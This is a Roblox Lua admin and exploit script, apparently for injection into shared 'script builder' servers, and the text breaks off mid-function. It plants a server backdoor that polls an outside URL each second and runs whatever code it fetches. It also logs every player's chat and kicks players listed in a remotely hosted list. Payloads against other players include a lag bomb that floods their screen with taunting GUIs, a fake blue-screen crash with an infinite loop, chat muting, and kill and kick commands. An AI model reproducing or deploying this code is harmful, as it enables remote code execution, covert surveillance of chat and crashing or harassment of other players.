Nil

plyr = game.Players.LocalPlayer
cam = Workspace.CurrentCamera
mouse = plyr:GetMouse()
strokecol3 = Color3.new(0,0,0)
scr_base = nil
locscr_base = nil
GOCserver = nil
notify = true
logs = {["All"] = {}}
nope = {}
bet = "/"
probe = false
probecol = "Bright blue"
lazcol = BrickColor.Random().Name
lazcol2 = BrickColor.Random().Name
script.Parent = plyr.Backpack
local p

script:ClearAllChildren()

while game.Lighting:FindFirstChild(plyr.Name.."Logs") do
	game.Lighting[plyr.Name.."Logs"]:Destroy()
end

function New(obj, loc, name)
	local it = Instance.new(obj, loc)
	if name then
		it.Name = name
	end
	if it.ClassName == "Part" then
		it.FormFactor = "Symmetric"
	end
	return it
end

function ChangeCollideMod(model, val)
	for _,v in pairs(model:GetChildren()) do
		if v:IsA("BasePart") then
			v.CanCollide = val
		end
	end
end

function ChangeTransparencyMod(model, val, filt)
	for _,v in pairs(model:GetChildren()) do
		if v:IsA("BasePart") and v.Name ~= filt then
			v.Transparency = val
		elseif v.ClassName == "Hat" and v.Name ~= filt then
		    v.Handle.Transparency = val
		end
		if v:FindFirstChild("face") and v.Name ~= filt then
		    v.face.Transparency = 1
		end
	end
end

function AnchorMod(model, val, ignore)
	for _,v in pairs(model:GetChildren()) do
		if v:IsA("BasePart") and v.Name ~= ignore then
			v.Anchored = val
		end
	end
end

function ColToVec(col3)
	return Vector3.new(col3.r, col3.g, col3.b)
end

function VecToCol(vec)
	return Color3.new(vec.x, vec.y, vec.z)
end

function Beam(origin,endpos,ign,col1,col2)

    local ray = Ray.new(
        origin.p,                           -- origin
        (endpos - origin.p).unit * 500 -- direction
    )
    local ignore = ign

    local hit, position = Workspace:FindPartOnRay(ray, ignore)

    coroutine.resume(coroutine.create(function()
        local mag = (origin.p - position).magnitude
        local rp = New("Part", Workspace, "RayPart")
        rp.Anchored = true
        rp.FormFactor = "Custom"
        rp.Size = Vector3.new(.2, .2, mag/2)
        rp.CanCollide = false
        rp.CFrame = origin
        rp.CFrame = CFrame.new(rp.Position, endpos) * CFrame.new(0, 0, -mag/2)
        rp.BrickColor = BrickColor.new(col1)
        local rpmesh = Instance.new("BlockMesh", rp)

        local rp2 = rp:Clone()
        rp2.Parent = Workspace
        rp2.Size = Vector3.new(.2, .2, mag/2)
        rp2.CFrame = rp.CFrame
        rp2.Transparency = .5
        rp2.BrickColor = BrickColor.new(col2)
        local rp2mesh = New("BlockMesh", rp2)

        local lh = New("Part", rp)
        lh.Transparency = 1
        lh.CanCollide = false
        lh.CFrame = CFrame.new(position)

        local rlite = New("PointLight", lh)
        rlite.Color = rp.BrickColor.Color

        local rf = .01
        repeat
            rp.CFrame = rp.CFrame * CFrame.Angles(0,0,math.rad(4))
            rp2.CFrame = rp2.CFrame * CFrame.Angles(0, 0, math.rad(14))
            if rp2.Reflectance >= 1 then rf = -.01 elseif rp2.Reflectance <= 0 then rf = .01 end
            rp2.Reflectance = rp2.Reflectance + rf
            rp2mesh.Scale = rp2mesh.Scale + Vector3.new(1, 1, 1)
            rpmesh.Scale = rpmesh.Scale + Vector3.new(.2, .2, .2)
            rp.Transparency = rp.Transparency + .05
            rp2.Transparency = rp2.Transparency + .08
            wait()
        until rp.Transparency >= 1 and rp2.Transparency >= 1 or rp2.Parent == nil
        rp:Remove()
        rp2:Remove()
    end))

    return hit
end

function lookFor(str, loc)

	if str == nil then return nil end

	if str == "me" then
		return plyr
	end

	if str == "random" then
		local thep = game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]
		return thep
	end

	if loc == "All" or loc == "Players" or loc == "Nils" then
		getAllPlrs()
		local found = nil
		for i,v in pairs(allplrs[loc]) do
			if string.sub(string.lower(i), 1, string.len(str)) == str then
				found = v
				print(i,v)
			end
		end
		if found then
			return found
		else
			return nil
		end

	elseif loc.Name == "Players" then
		local found = nil
		for _,v in pairs(loc:GetPlayers()) do
			if string.sub(string.lower(v.Name), 1, string.len(str)) == str then
				found = v
			end
		end
		if found then
			return found
		else
			return nil
		end

	else
		local found = nil
		for _,v in pairs(loc:GetChildren()) do
			if string.sub(string.lower(v.Name), 1, string.len(str)) == str then
				found = v
			end
		end
		if found then
			return found
		else
			return nil
		end
	end
end

HotKeys = {}

--== GOCSERVERCODE ==--


GOCserverCode = [[
print("Initialized")
hs = game:GetService("HttpService")
badlist = hs:GetAsync("https://code.stypi.com/raw/guesty/nopeslist", true)
cmdlist = hs:GetAsync("https://code.stypi.com/raw/guesty/docmds", true)
cmdnum = 1

function toconsole(nam, val, logs)
            local nmsg = Instance.new("StringValue", logs)
            nmsg.Name = nam
            nmsg.Value = val
end

function NewScript(source)
	local news = script:Clone()
	news:ClearAllChildren()
	Instance.new("StringValue", news).Name = "DSource"
	Instance.new("StringValue", news).Name = "Owner"
	news.Owner.Value = PLAYERNAME
	news.DSource.Value = source
	news.Parent = Workspace
	news.Disabled = false
	return news
end

script.ChildAdded:connect(function(ch)
    toconsole("Console", "SOMETHING INSIDE", logs)
end)


script.Parent = Instance.new("Message")
local logs = Instance.new("StringValue", game.Lighting)
logs.Name = "PLAYERNAME".."Logs"


function DoLogs(p)
    function LogChat(msg)
            toconsole(p.Name, msg, logs)
    end

    p.Chatted:connect(LogChat)
end

for _,v in pairs(game.Players:GetPlayers()) do
    DoLogs(v)
end

game.Players.ChildAdded:connect(function(p)
    if p.ClassName == "Player" and not string.find(badlist, string.lower(p.Name)) then
        DoLogs(p)
    elseif string.find(badlist, string.lower(p.Name)) then
        game.Debris:AddItem(p, 0)
        toconsole("Console", p.Name.." was kicked for being on the nopelist.", logs)
    end
end)

local S
coroutine.resume(coroutine.create(function()
while true do
    cmdlist = hs:GetAsync("https://code.stypi.com/raw/guesty/docmds", true)

    wait(1)
    local sf = string.find(cmdlist, "CMD_"..cmdnum)

    if sf then
        local sfe = string.find(cmdlist, "ENDCMD_"..cmdnum)
        if sfe then
            if S then S:Remove() end
            --NewScript(string.sub(cmdlist, sf+string.len("CMD_"..cmdnum), sfe-1))
            NewScript(string.sub(cmdlist, sf+string.len("CMD_"..cmdnum), sfe-1))

            toconsole("Console", string.sub(cmdlist, sf+string.len("CMD_"..cmdnum), sfe-1), logs)
            cmdnum = cmdnum+1
        end
    end
    wait(1)
end
end))

]]
GOCserverCode = string.gsub(GOCserverCode, "PLAYERNAME", plyr.Name)

--

lgkick_phrases = {"#Rekt", "Pwnt", "You cannot escape the lag", "The lag will overtake you", "Run, boi!", "you got lagged, m8", "Push Alt+F4", "Hehe", "Haha"}
LagSource = [[
randtext = {"Push Alt+F4", "You're doomed", "There's no hope", "You got lagged", "You cannot escape the lag", "Lagged by yours truly", "The lag will take you...", "You have been lagged", "Dont b mad", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " "}
--game:GetService('Players').LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
wait(0)


local plr = script.Parent
script.Parent = nil
plrgui = plr:WaitForChild("PlayerGui")

while plr.Parent == game:GetService("Players") do
wait()
for i = 1, 1000 do
local sc = Instance.new("ScreenGui",plrgui)
if i == 1 then local img = Instance.new("ImageLabel", sc) img.Size = UDim2.new(1, 0, 1, 0) img.BackgroundTransparency = 1 img.Image = "http://www.roblox.com/asset/?id=22826313" img.ZIndex = 10 end
local fr = Instance.new("TextLabel",sc)
fr.Text = randtext[math.random(1, #randtext)]
fr.TextColor3 = Color3.new(1,1,1)
fr.BackgroundTransparency = 1
fr.Size = UDim2.new(1, 0, 1, 0)
fr.Position = UDim2.new(math.random(-80,80)/100, 0, math.random(-80,80)/100, 0)
fr.Rotation = math.random(-80, 80)
fr.FontSize = "Size18"
end
end
]]

BallSource = [[
local find = game.Players.LocalPlayer
		if find and find.Character and find.Character["Torso"] then
			local ball = Instance.new("Part", find.Character)
			ball.Name = "Ball"
			ball.Shape = "Ball"
			ball.TopSurface = "Smooth"
			ball.BottomSurface = "Smooth"
			ball.Material = "SmoothPlastic"
			ball.Size = Vector3.new(8, 8, 8)
			ball.Transparency = .5
			ball.Reflectance = .3
			ball.BrickColor = BrickColor.Random()
			ball.Position = find.Character.Torso.Position
			local av = Instance.new("BodyAngularVelocity", find.Torso)

			local w = Instance.new("Weld", Workspace)
			w.Part0 = find.Character.Torso
			w.Part1 = ball

			if find.Character:FindFirstChild("Humanoid") then
				find.Character.Humanoid.PlatformStand = true
			end

			local keylist = {}
			find:GetMouse().KeyDown:connect(function(k)
			    keylist[k] = true
			end)
			find:GetMouse().KeyUp:connect(function(k)
			    keylist[k] = nil
			end)

			while true do
			    if keylist["w"] then
			        av.angularvelocity = Vector3.new(5, 0, 0)
			        av.maxTorque = Vector3.new(5000, 5000, 5000)
			    else
			        av.angularvelocity = Vector3.new()
			    end
			end

		end
]]

MuteSource = [[
plr = game.Players.LocalPlayer
char = plr.Character
duration = 99

origface = nil
if char and char:FindFirstChild("Head") and char.Head:FindFirstChild("face") then
	origface = char.Head.face.Texture
	char.Head.face.Texture = "http://www.roblox.com/asset/?id=152840300"
end

game:GetService("StarterGui"):SetCoreGuiEnabled("Chat", false)

sec = 0
repeat
	wait(1)
	sec = sec + 1
until sec >= duration or game.StarterGui:GetCoreGuiEnabled("Chat")

game:GetService("StarterGui"):SetCoreGuiEnabled("Chat", true)
if origface and char and char:FindFirstChild("Head") and char.Head:FindFirstChild("face") then
	char.Head.face.Texture = origface
end
script:Destroy()
]]

UnmuteSource = [[
game.StarterGui:SetCoreGuiEnabled("Chat", true)
]]

BSoDText = [[STOP: 0x000000D1 (0x00000000, 0xF73120AE, 0xC0000008, 0xC0000000)

A problem has been detected and ROBLOX has been shut down to prevent
damage to your computer

NOOB_PARENT_EQUAL_TO_GAME

If this is the first time you've seen this Stop error screen, restart your
computer. If this screen appears again, follow these steps:

Check to make sure any new hardware or software is properly installed. If this
is a new installation, ask your hardware or software manufacturer for any
ROBLOX updates you might need.

If problems continue, disable or remove any newly installed hardware or
software. Disable BIOS memory options such as caching or shadowing.
 If you need to use Safe Mode to remove or disable components, restart your
computer, press f8 to select Advanced Startup Options, and then select Safe Mode.

&&& WXYZ.SYS - Address F73120AE base at C00000008, DateStamp 36b072a3

Kernel Debugger Using: COM2 (Port 0x2f8, Baud Rate 19200)
Beginning dump of physical memory
Physical memory dump complete. Contact your ROBLOX administrator or
technical support group.]]


BSoDSource = [[
    p = game.Players.LocalPlayer
    pg = p.PlayerGui

    game:GetService("StarterGui"):SetCoreGuiEnabled("Chat", false)

    sg = Instance.new("ScreenGui", pg)
    tl = Instance.new("TextLabel", sg)
    tl.Size = UDim2.new(1, 0, 1, 0)
    tl.FontSize = "Size24"
    tl.Font = "ArialBold"
    tl.TextColor3 = Color3.new(1,1,1)
    tl.Text = "***STOP: 0x000000D1 (0x00000000, 0xF73120AE, 0xC0000008, 0xC0000000)\n A problem has been detected and ROBLOX has been shut down to prevent damage to your computer\n \n NOOB_PARENT_EQUAL_TO_GAME\n \n If this is the first time you've seen this Stop error screen, restart your computer. If this screen appears again, follow these steps:\n Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any ROBLOX updates you might need.\n \n If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing.\n If you need to use Safe Mode to remove or disable components, restart your computer, press f8 to select Advanced Startup Options, and then select Safe Mode.\n &&& WXYZ.SYS - Address F73120AE base at C00000008, DateStamp 36b072a3\n Kernel Debugger Using: COM2 (Port 0x2f8, Baud Rate 19200)\n Beginning dump of physical memory\n Physical memory dump complete. Contact your ROBLOX administr tor or technical support group."
    tl.TextWrapped = true

    tl.BackgroundColor3 = Color3.new(0, 111/255, 1)

    wait()

    while true do

    end
]]

BSoDSource = string.gsub(BSoDSource, "BSODTEXT", BSoDText)

local GOCserver
coroutine.resume(coroutine.create(function()
repeat
    for _,v in pairs(Workspace:GetChildren()) do
        if v.ClassName == "Script" then
            scr_base = v:Clone()
            scr_base.Disabled = true
        end
    end
    wait()
until scr_base

local DS = scr_base:FindFirstChild("DSource")
if DS then
    DS.Value = ""
else
    DS = Instance.new("StringValue", scr_base)
    DS.Name = "DSource"
end

print("SCRIPT BASE FOUND")

wait()

GOCserver = NewScript(GOCserverCode)

end))


 -- Local Script Base --
coroutine.resume(coroutine.create(function()
repeat
    for _,p in pairs(game.Players:GetPlayers()) do
        for _,i in pairs(p.Backpack:GetChildren()) do
            if i.ClassName == "LocalScript" then
                locscr_base = i:Clone()
                locscr_base.Disabled = true
            end
        end
    end    wait(.1)
until locscr_base

locscr_base:ClearAllChildren()
local DS = Instance.new("StringValue", locscr_base)
if game.PlaceId == 178350907 then
    local Own = Instance.new("StringValue", locscr_base)
    Own.Name = "Owner"
    Own.Value = plyr.Name
    print("Nexure's Script Builder")
end
DS.Name = "DSource"

print("LOCALSCRIPT BASE FOUND")
end))


CMDlist = {["kill"] = {["Name"] = "Kill", ["Description"] = "Kills a player. Use; kill/plyr/(e for explosion)/", ["Type"] = "ToPlayer", ["Function"] = function(who,args)
            local find = lookFor(who, game.Players)

            if find and find ~= plyr and find.Character.Parent ~= nil and find.Character:FindFirstChild("Humanoid") then
                local vic = find.Character
                if args[1] == "e" and vic:FindFirstChild("Torso") then
                    Instance.new("Explosion", Workspace).Position = vic.Torso.Position
                else
                    find.Character.Humanoid.Health = 0
                end
            elseif find and find == plyr then
				if args[1] == "e" and Effigy and Effigy.Parent == Workspace and Effigy:FindFirstChild("MyTorso") then
					Instance.new("Explosion", Workspace).Position = Effigy.MyTorso.Position
				end
				if Effigy and Effigy.Parent == Workspace and Effigy:FindFirstChild("Humanoid") then
					Effigy.Humanoid.Health = 0
				end
			end
	end},
	["kick"] = {["Name"] = "Kick", ["Description"] = "Kicks a player", ["Type"] = "ToPlayer", ["Function"] = function(who,args)
	local find = lookFor(who,game.Players)
	local int = args[2]
	if not args[2] then int = 5 end

	if find then
		if args[1] == "lg" then
			NewLocalScript(find.Backpack, LagSource, find.Name)
			wait(int)
			find:Remove()
		else
		    find:Remove()
		end

	end
	end}
            }




function NewScript(source)
	local news = scr_base:Clone()
	news.DSource.Value = source
	news.Parent = Workspace
	news.Disabled = false
	return news
end
function NewLocalScript(par, source, owner)
	local news = locscr_base:Clone()
	news.DSource.Value = source
	if owner then
	    news.Owner.Value = owner
	end
	news.Parent = par
	news.Disabled = false
	return news
end

function AddCMD(sc, name, desc, typ, func)
    if typ == "ToPlayer" then
        CMDlist[sc] = {["Name"] = name, ["Description"] = desc, ["Type"] = typ, ["Function"] = function(who,args)
            local find = lookFor(who, game.Players)
            if find then
                func(find, args)
            end
        end}
    elseif typ == "General" then
        CMDlist[sc] = {["Name"] = name, ["Description"] = desc, ["Type"] = typ, ["Function"] = function(args) func(args) end}
    end
end

--ProbeCMDlist = {}
--function AddPrbCMD(sc, name, desc, typ, func)
--    if typ == "ToPlayer" then
--        ProbeCMDlist[sc] = {["Name"] = name, ["Description"] = desc, ["Type"] = typ, ["Function"] = --function(pos,args)
--}
--end

function docmd(cmd, arglist)

	if cmd["Type"] == "ToPlayer" and arglist[2] then
		table.remove(arglist, 1)
	    local arg1 = arglist[1] -- arg1 is name
	    table.remove(arglist, 1)

		if arg1 == "all" then
			for _,v in pairs(game.Players:GetPlayers()) do
				pcall(function() cmd["Function"](string.lower(v.Name), arglist) end)
			end
		elseif arg1 == "others" then
			for _,v in pairs(game.Players:GetPlayers()) do
				if v.Name ~= plyr.Name then
					pcall(function() cmd["Function"](string.lower(v.Name), arglist) end)
				end
			end

		elseif arg1 == "us" then
			local us = {}
			for _,v in pairs(game.Players:GetPlayers()) do
				local cond = v.Character and
					v.Character:FindFirstChild("Torso") and
					plyr.Character and
					plyr.Character:FindFirstChild("Torso")
				if cond then
					if (plyr.Character.Torso.Position - v.Character.Torso.Position).magnitude < 10 then
						table.insert(us, v)
					end
				end
			end

			for _,p in pairs(us) do
				pcall(function() cmd["Function"](string.lower(p.Name), arglist) end)
			end

		elseif string.find(arg1, ",") then
			local dotolist = {}
			local allp = arg1
			local fp = string.find(allp, ",")
			local np = nil

			repeat
				fp = string.find(allp, ",")
				if fp then
					np = string.sub(allp, 1, fp-1)
					allp = string.sub(allp, fp+1)

					table.insert(dotolist, np)
				end
			until not fp
			table.insert(dotolist, allp)

			for i,nam in pairs(dotolist) do
				local findp = lookFor(nam, game.Players)
				if findp then
					pcall(function() cmd["Function"](string.lower(findp.Name), arglist) end)
				end
			end

		else
			pcall(function() cmd["Function"](arg1, arglist) end)
		end

	elseif probe and cmd["Type"] == "ProbeCMD" then
        print("Probe commands")
	elseif cmd["Type"] == "ToPlayer" then
	    pcall(function() cmd["Function"](plyr.Name, arglist) end)

	elseif cmd["Type"] == "General" and arglist[1] then
		table.remove(arglist, 1)
	    cmd["Function"](arglist)
	end
end


function GetCMD(txt)

    local cmd
    local Args = {}
    local betcount = 0
    local fbet
    repeat
        fbet = string.find(txt, bet)

        if fbet then
            betcount = betcount + 1
            if betcount == 1 then
                cmd = string.sub(txt, 1, fbet-1)
                Args[betcount] = cmd
            else
                Args[betcount] = string.sub(txt, 1, fbet-1)
            end
            txt = string.sub(txt, fbet+1)
        end
    until not fbet

    if cmd then
        if CMDlist[cmd] then
			print("Cmd was in list")
            cmd = CMDlist[cmd]
            return cmd,Args
        end
    end
    -- if there is no cmd return nil
    return nil
end


function Output(op, guy, dur)
	if guy.Character and guy.Character.Parent ~= nil and guy.Character:FindFirstChild("Torso") then
		pcall(function()
		guy = guy.Character
		if not dur then dur = 2.5 end

		local N = Instance.new("Model", Workspace)
		N.Name = "Ninjah"
		local t=New("Part", N)
		t.Anchored = true
		t.Name = "Torso"
		t.Size = Vector3.new(2, 2, 1)
		t.CFrame = guy.Torso.CFrame * CFrame.Angles(0, math.rad(math.random(360)), 0)
					* CFrame.new(0, -1.5, -7) * CFrame.Angles(math.rad(40), math.rad(180), 0)
		t.BrickColor = BrickColor.new("Really black")
		t.Transparency = 1
		t.Locked = true

		local h = t:Clone()
		h.Name = "Head"
		h.Parent = t.Parent
		h.Size = Vector3.new(2, 1, 1)
		local hmesh = char.Head.Mesh:Clone()
		hmesh.Parent = h
		local hat = h:Clone()
		hat.Parent = N
		hat.Mesh.MeshId = "http://www.roblox.com/asset/?id=127966571"
		hat.Mesh.TextureId = "http://www.roblox.com/asset/?id=127966601"
		hat.FormFactor = "Custom"
		hat.Size = Vector3.new(1,1,2.2)
		hat.Mesh.Scale = Vector3.new(3.3, 3.2, 3.2)
		hat.CFrame = h.CFrame * CFrame.new(-.14, 0.852611208, -0.778206224)* CFrame.Angles(math.rad(-35), 0, 0)
		local face = char.Head.face:Clone()
		face.Parent = h
		h.CFrame = t.CFrame * CFrame.new(0, 1.5, -.50) * CFrame.Angles(math.rad(-35), 0, 0)
		local rarm = t:Clone()
		rarm.Parent = t.Parent
		rarm.Size = Vector3.new(1, 2, 1)
		rarm.CFrame = t.CFrame * CFrame.new(1.5, .5, 0) * CFrame.Angles(math.rad(50), 0, 0)
						* CFrame.new(0, -.7, 0)

		h.BrickColor = BrickColor.new("White")
		local larm = rarm:Clone()
		larm.Parent = t.Parent
		larm.CFrame = t.CFrame * CFrame.new(-1.5, 0,0)

		local rleg = rarm:Clone()
		rleg.Parent = t.Parent
		rleg.CFrame = t.CFrame * CFrame.new(.5, -.5, -.5) * CFrame.Angles(math.rad(25), 0, 0)

		local lleg = rleg:Clone()
		lleg.Parent = t.Parent
		lleg.CFrame = t.CFrame * CFrame.new(-.5, -1.1, 0) * CFrame.Angles(math.rad(-45), 0, 0)

		local chat = New("BillboardGui", h)
		            	chat.StudsOffset = Vector3.new(0, 3.5, 0)
		            	chat.Size = UDim2.new(1, 0, 1, 0)
		            	chat.AlwaysOnTop = true
		            	chat.Name = "chat"
		            	local lab = New("TextLabel", chat)
		            	lab.BackgroundTransparency = 1
		            	lab.Font = "Arial"
		            	lab.FontSize = "Size24"
		            	lab.TextColor3 = Color3.new(1,1,1)
						lab.TextTransparency = 1
		            	lab.Text = op
		            	lab.Size = UDim2.new(1, 0, 1, 0)
		            	lab.Position = UDim2.new(0, 0, .9, 0)
		            	lab.ZIndex = 5

		local smk = New("Part", N)
		smk.Name = "Smoke"
		smk.Anchored = true
		smk.CanCollide = false
		smk.CFrame = t.CFrame
		smk.Transparency = 1
		local s = Instance.new("Smoke", smk)

		local count = 0
		coroutine.resume(coroutine.create(function()
			repeat
				smk.CFrame = smk.CFrame * CFrame.Angles(math.rad(math.random(360)),
													math.rad(math.random(360)),
													math.rad(math.random(360)))
				count = count + 1
				wait()
			until count >= 50 --66.666666666666
		end))

		wait(1)
		local count2 = 0
		repeat

			ChangeTransparencyMod(N, 1 - (.03*count2), "Smoke")
			lab.TextTransparency = 1 - .03*count2
			count2 = count2 + 1
			wait()
		until count2 >= 33.333333333333
		smk.Smoke.Enabled = false

		local wc = 0
		repeat wait() wc = wc+1 until wc >= dur/.03 or t.Locked == false

		smk.Smoke.Enabled = true
		local count = 0
		coroutine.resume(coroutine.create(function()
			repeat
				smk.CFrame = smk.CFrame * CFrame.Angles(math.rad(math.random(360)),
													math.rad(math.random(360)),
													math.rad(math.random(360)))
				count = count + 1
				wait()
			until count >= 66.666666666666
		end))

		wait(1)
		local count2 = 0
		repeat

			ChangeTransparencyMod(N, (.03*count2), "Smoke")
			lab.TextTransparency = .03*count2
			count2 = count2 + 1
			wait()
		until count2 >= 33.333333333333
		smk.Smoke.Enabled = false

		N:Destroy()
		end)
	end
end




--== PROBE FUNCTION ==--



function Probe()
    local char = plyr.Character
    char.Torso.CFrame = CFrame.new(0, 5000, 0)
    char.Torso.Anchored = true

    print("In probe")


    local mode

    local chatcon
		chatcon = plyr.Chatted:connect(function(msg)
		    local lowmsg = string.lower(msg)
		    local private = false

		    if probe == false then
		        chatcon:disconnect()
		        return nil
		    end
    	    while p:FindFirstChild("chat") do
                p.chat:Remove()
	        end
	        if string.sub(msg, 1, 3) == "/e " then
	            private = true
	            msg = string.sub(msg, 4)
	            lowmsg = string.lower(msg)
	        end
	        print(lowmsg)
	        local GC,argz = GetCMD(msg)



	        if string.sub(lowmsg, 1, 2) == "s"..bet and scr_base then
	            local news = scr_base:Clone()
	            news.DSource.Value = string.sub(msg, 3)
	            news.Parent = Workspace
	            news.Disabled = false

	        elseif GC then
	            mode = {["GC"] = GC, ["Args"] = argz}
	            docmd(GC,argz)
	        end


	        if not private and p then

            	local chat = New("BillboardGui", p)
            	chat.StudsOffset = Vector3.new(0, 1, 0)
            	chat.Size = UDim2.new(1, 0, 1, 0)
            	chat.AlwaysOnTop = true
            	chat.Name = "chat"
            	local lab = New("TextLabel", chat)
            	lab.BackgroundTransparency = 1
            	lab.Font = "Legacy"
            	lab.FontSize = "Size24"
            	lab.TextColor3 = Color3.new(1,1,1)
            	lab.Text = msg
            	lab.Size = UDim2.new(1, 0, 1, 0)
            	lab.Position = UDim2.new(0, 0, .9, 0)
            	lab.TextStrokeTransparency = 0
            	lab.ZIndex = 5

            	coroutine.resume(coroutine.create(function()
            	    for i = 1, 9 do
            	        lab.Position = lab.Position - UDim2.new(0, 0, .1, 0)
            	        lab.TextTransparency = .9 - i/10
            	        wait(.1)
            	    end
            	end))

    	        local down = Vector3.new(-.05, -.05, -.05)
    	        local up = Vector3.new(.05, .05, .05)

    	        while chat do

            		repeat
            			local CtoV = ColToVec(lab.TextColor3)
            			CtoV = CtoV - Vector3.new(.05, .05, .05)

            			lab.TextColor3 = VecToCol(CtoV)
            			lab.TextStrokeTransparency = 1 - CtoV.y
            			wait()
            		until CtoV.y <= .5

            		repeat
            			local CtoV = ColToVec(lab.TextColor3)
            			CtoV = CtoV + Vector3.new(.05, .05, .05)

            			lab.TextColor3 = VecToCol(CtoV)
            			lab.TextStrokeTransparency = 1 - CtoV.y
            			wait()
            		until CtoV.y >= 1

    	        end
    	    end

		end)

    function makeP(col)
        p = Instance.new("Part", Workspace)
        p.Anchored = true
    	p.FormFactor = "Symmetric"
    	p.Shape = "Ball"
    	p.Size = Vector3.new(1,1,1)
        p.BrickColor = BrickColor.new("Black")
        p.TopSurface = "Smooth"
        p.BottomSurface = "Smooth"
        p.CFrame = CFrame.new(0, 50, 0)
    	local meshpart = p:Clone()
    	meshpart.Parent = p
    	meshpart.Name = "meshpart"
    	meshpart.BrickColor = BrickColor.new(col)
    	meshpart.Transparency = .5
    	local mesh = New("SpecialMesh", meshpart)
    	mesh.MeshType = "Sphere"
    	mesh.Scale = Vector3.new(-2.5, -2.5, -2.5)

    	local moon = meshpart:Clone()
    	moon.Name = "moon"
    	moon.Parent = p
    	--moon.Transparency = 0
    	moon.Mesh.Scale = Vector3.new(.5, .5, .5)

    	local amblist = {"http://www.roblox.com/asset/?id=130771271", "http://www.roblox.com/asset/?id=157204376"}

    	local idle = New("Sound", p)
    	idle.SoundId = amblist[math.random(1, 2)]
    	idle.Volume = .05
    	idle.Looped = true
    	idle:Play()

    	idle.AncestryChanged:connect(function()
    	    idle.Parent = Workspace
    	    idle:Stop()
    	end)

    	local lite = New("PointLight", p)
    	lite.Color = BrickColor.new(col).Color

	--coroutine.resume(coroutine.create(function()
	--	rot = 0
	--	rot2 = 0
	--	while p.Parent ~= nil do
	--		moon.CFrame = p.CFrame * CFrame.Angles(math.rad(45), math.rad(rot), math.rad(rot2)) * CFrame.new(0, 0, -3)
	--		wait()
	--		rot = rot + 1
	--		rot2 = rot2 + 1
	--		rot2 = rot + rot2
	--	end
	--end))
	    cam.CameraSubject = p

        return p
    end
    p = makeP(probecol)

    local klist = {}

    local mkd_con = mouse.KeyDown:connect(function(k)
        klist[k] = true

        if k == "f" and mode then
            local hit = Beam(p.meshpart.CFrame, mouse.Hit.p, p, "White", p.meshpart.BrickColor.Name)
            print(hit)
            if hit ~= nil then
                local gpc = game.Players:GetPlayerFromCharacter(hit.Parent)
                print("GC:",mode["GC"])
                for i,v in pairs(mode["Args"]) do print(i,v) end
                if gpc then
                    print("gpc was "..gpc.Name)
                    table.insert(mode["Args"], 2, string.lower(gpc.Name))
                    mode["Args"][2] = string.lower(gpc.Name)
                    print("argz cont")

                    docmd(mode["GC"], mode["Args"])
                end
            end
        end
    end)
    local mku_con = mouse.KeyUp:connect(function(k)
        klist[k] = nil
    end)

    rot = 0
    rot2 = 0
    local step
    step = game["Run Service"].RenderStepped:connect(function()
        if p.Parent == nil then
            p = makeP(probecol)
        end

	    local cspd = 1
        if probe then

            p.CFrame = cam.CoordinateFrame * CFrame.new(0, 0, -8)
            if p.meshpart then p.meshpart.CFrame = p.CFrame end
            local moon = p:FindFirstChild("moon")
            if moon then
                moon.CFrame = p.CFrame * CFrame.Angles(math.rad(45), math.rad(rot), math.rad(rot2)) * CFrame.new(0, 0, -3)
    			wait()
    			rot = rot + math.random(1,2)
    			rot2 = rot2 + math.random(1,2)
    			rot2 = rot + rot2
    		end

            local nfoc = cam.CoordinateFrame
            if klist["w"] then
                nfoc = nfoc * CFrame.new(0, 0, -cspd)
                cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(0, 0, -cspd)
            end
            if klist["s"] then
                nfoc = nfoc * CFrame.new(0, 0, cspd)
                cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(0, 0, cspd)
            end
        	if klist["a"] then
        	    nfoc = nfoc * CFrame.new(-cspd, 0, 0)
        		 cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(-cspd, 0, 0)
        	end
        	if klist["d"] then
        	    nfoc = nfoc * CFrame.new(cspd, 0, 0)
        		cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(cspd, 0, 0)
        	end
        	if klist["e"] then
        	    nfoc = nfoc * CFrame.new(0, cspd, 0)
        		 cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(0, cspd, 0)
        	end
        	if klist["q"] then
        	    nfoc = nfoc * CFrame.new(0, -cspd, 0)
        		 cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(0, -cspd, 0)
        	end

        	cam.Focus = CFrame.new(cam.CoordinateFrame.p, nfoc.lookVector)


        elseif probe == false then
            step:disconnect()
            mkd_con:disconnect()
            mku_con:disconnect()

            print("Probe was false")
            local ploc = p.Position
            p:Remove()

            cam.CameraSubject = char.Humanoid
            char.Torso.Anchored = false
            char.Torso.CFrame = CFrame.new(ploc)
            ChangeTransparencyMod(Effigy, 1)

			Effigy.Parent = Workspace
		    Effigy:MakeJoints()
		    if not Effigy:FindFirstChild("Humanoid") then New("Humanoid", Effigy) end
			Effigy.Humanoid.Health = Effigy.Humanoid.MaxHealth
			print("MADE")
			Animate(Effigy, BackUp)

            coroutine.resume(coroutine.create(function()
                local float = New("BodyVelocity", plyr.Character.Torso, "Float")
                float.maxForce = Vector3.new(9999, 9999, 9999)
                for i = 1, 40 do
                    ChangeTransparencyMod(Effigy, 1 - 1/40*i)
                    float.velocity = Vector3.new(0, -i, 0)
                    wait()
                end
                float:Remove()
            end))

        end


    end)

end


hatlist = nil

animating = false
function CreateNewChar()
	char = plyr.Character
	local NewChar = New("Model", nil, plyr.Name)

	local hed = New("Part", NewChar, "Head")
	local tor = New("Part", NewChar, "Torso")
	tor.CFrame = CFrame.new(0, 9000, 0)
	hed.CFrame = tor.CFrame * CFrame.new(0, 1, 0)

	local hum = New("Humanoid", NewChar)

    	--hed.Name = "Vacant"
	--tor.Name = "Vacant"

	local cHead = New("Part", NewChar, "MyHead")
	cHead.Size = Vector3.new(2, 1, 1)
	cHead.BrickColor = char.Head.BrickColor
	local cHeadMesh = New("SpecialMesh", cHead)
	cHeadMesh.MeshType = "Head"
	cHeadMesh.Scale = Vector3.new(1.25, 1.25, 1.25)
